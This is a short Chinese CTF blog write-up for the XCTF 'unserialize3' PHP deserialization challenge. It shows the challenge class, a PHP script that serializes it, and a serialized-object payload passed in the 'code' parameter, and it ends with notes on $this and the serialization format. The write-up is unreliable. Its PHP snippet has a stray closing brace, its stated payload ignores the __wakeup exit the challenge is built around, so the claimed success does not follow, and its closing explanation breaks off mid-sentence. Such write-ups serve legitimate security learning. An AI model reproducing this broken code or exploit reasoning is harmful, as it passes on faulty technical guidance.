攻防世界Unserialize3

攻防世界web进阶篇——unserialize3

打开题目

回显为一串PHP代码,并且发现结尾提示了一个code参数

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

结合题目标题——反序列化,所以我们直接考虑反序列化问题

对flag变量进行序列化。

<?php
class xctf{
    public $flag = '111';
    }
}
$a=new xctf();
print(serialize($a));
?>

得到flag变量的序列化字符串


O:4:"xctf":1:{s:4:"flag";s:3:"111";}

赋值给结尾的code参数

得到flag

总结

$this理解为对象的引用,$this通过引用的形式访问一个对象的方法和属性

$this在OOP中就是伪变量,(伪变量不是真正的变量,只是形式上是变量,变量中存储的是固定的值,$this中并没有,哪个对象调用,$this就代表哪个对象。)

序列化格式`O:<类名的长度>:"<类名>":<成员属性的个数>:

posted @ 2021-03-23 14:51  LinkPoc  阅读(88)  评论(0)    收藏  举报